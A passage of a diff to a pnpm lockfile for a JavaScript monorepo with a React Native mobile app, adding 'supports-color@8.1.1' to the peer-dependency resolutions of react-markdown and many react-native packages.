1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) p-cancelable@2.1.1: {} @@ -21859,17 +21496,17 @@ snapshots: react-is@19.2.7: {} - react-markdown@10.1.0(@types/react@19.3.0)(react@19.3.0): + react-markdown@10.1.0(@types/react@19.3.0)(react@19.3.0)(supports-color@8.1.1): dependencies: '@types/hast': 3.0.5 '@types/mdast': 4.0.4 '@types/react': 19.3.0 devlop: 1.1.0 - hast-util-to-jsx-runtime: 2.3.6 + hast-util-to-jsx-runtime: 2.3.6(supports-color@8.1.1) html-url-attributes: 3.0.1 mdast-util-to-hast: 13.2.1 react: 19.3.0 - remark-parse: 11.0.0 + remark-parse: 11.0.0(supports-color@8.1.1) remark-rehype: 11.1.2 unified: 11.0.5 unist-util-visit: 5.1.0 @@ -21877,136 +21514,136 @@ snapshots: transitivePeerDependencies: - supports-color - react-native-blob-util@0.25.1(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0): + react-native-blob-util@0.25.1(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0): dependencies: base-64: 1.0.0 react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) - react-native-enriched-markdown@file:apps/mobile/deps/react-native-enriched-markdown-1.2.0-t3.15-fee84114.tgz(katex@0.16.47)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0): + react-native-enriched-markdown@file:apps/mobile/deps/react-native-enriched-markdown-1.2.0-t3.15-fee84114.tgz(katex@0.16.47)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0): dependencies: react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) optionalDependencies: katex: 0.16.47 - react-native-gesture-handler@3.3.0(patch_hash=abe20e1d1c23549297cbbc818e14fe479b41455930d9663135d6b40fe359b626)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0): + react-native-gesture-handler@3.3.0(patch_hash=abe20e1d1c23549297cbbc818e14fe479b41455930d9663135d6b40fe359b626)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0): dependencies: '@types/react-test-renderer': 19.1.0 invariant: 2.2.4 react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) - react-native-image-viewing@0.2.2(patch_hash=419f35ee91eac88ced9438058281db5eb09d9c799d8974c1172926068c9448cf)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0): + react-native-image-viewing@0.2.2(patch_hash=419f35ee91eac88ced9438058281db5eb09d9c799d8974c1172926068c9448cf)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0): dependencies: react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) - react-native-is-edge-to-edge@1.3.1(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0): + react-native-is-edge-to-edge@1.3.1(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0): dependencies: react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) - react-native-keyboard-controller@1.22.7(patch_hash=f28d08f1233e3cce8b9324b4357d2b10f1ee040b8051bc87235b0fb95069b9bb)(react-native-reanimated@4.7.1(react-native-worklets@0.13.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0))(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0))(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0): + react-native-keyboard-controller@1.22.7(patch_hash=f28d08f1233e3cce8b9324b4357d2b10f1ee040b8051bc87235b0fb95069b9bb)(312dd38e5b3f33a4cd42485c56107a1a): dependencies: react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) - react-native-is-edge-to-edge: 1.3.1(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) - react-native-reanimated: 4.7.1(react-native-worklets@0.13.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0))(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) + react-native-is-edge-to-edge: 1.3.1(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) + react-native-reanimated: 4.7.1(react-native-worklets@0.13.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)(supports-color@8.1.1))(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) - react-native-nitro-modules@0.37.1(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0): + react-native-nitro-modules@0.37.1(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0): dependencies: react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) - react-native-pdf-jsi@5.0.0(patch_hash=6f52854210f61bef499850ebd498229a111bc34ec5b2a4925e644f2f48f42760)(cf7d6840207b805fdc65940b34f32bb4): + react-native-pdf-jsi@5.0.0(patch_hash=6f52854210f61bef499850ebd498229a111bc34ec5b2a4925e644f2f48f42760)(ddae2ea06f4d260467f86a139b5aa8e9): dependencies: - '@react-native-async-storage/async-storage': 3.1.1(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + '@react-native-async-storage/async-storage': 3.1.1(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) crypto-js: 4.2.0 deprecated-react-native-prop-types: 2.3.0 react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) - react-native-blob-util: 0.25.1(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) - react-native-nitro-modules: 0.37.1(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) + react-native-blob-util: 0.25.1(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) + react-native-nitro-modules: 0.37.1(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) - react-native-reanimated@4.7.1(react-native-worklets@0.13.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0))(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0): + react-native-reanimated@4.7.1(react-native-worklets@0.13.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)(supports-color@8.1.1))(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0): dependencies: react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) - react-native-is-edge-to-edge: 1.3.1(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) - react-native-worklets: 0.13.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) + react-native-is-edge-to-edge: 1.3.1(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) + react-native-worklets: 0.13.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)(supports-color@8.1.1) semver: 7.8.5 - react-native-safe-area-context@5.10.1(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0): + react-native-safe-area-context@5.10.1(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0): dependencies: react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) - react-native-screens@file:apps/mobile/deps/react-native-screens-5.0.0-t3.30.tgz(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0): + react-native-screens@file:apps/mobile/deps/react-native-screens-5.0.0-t3.30.tgz(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0): dependencies: react: 19.3.0 react-freeze: 1.0.4(react@19.3.0) - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) warn-once: 0.1.1 - react-native-shiki-engine@0.3.12(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0): + react-native-shiki-engine@0.3.12(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0): dependencies: '@shikijs/types': 4.3.0 '@shikijs/vscode-textmate': 10.0.2 react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) - react-native-svg@15.16.0(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0): + react-native-svg@15.16.0(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0): dependencies: css-select: 5.2.2 css-tree: 1.1.3 react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) - react-native-url-polyfill@4.0.0(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6)): + react-native-url-polyfill@4.0.0(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6)): dependencies: - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) - react-native-webview@14.0.1(patch_hash=81caa279ec3dc1f81209062133b66e8f824e13f106cca57f1fa732a72c2ab378)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0): + react-native-webview@14.0.1(patch_hash=81caa279ec3dc1f81209062133b66e8f824e13f106cca57f1fa732a72c2ab378)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0): dependencies: escape-string-regexp: 4.0.0 invariant: 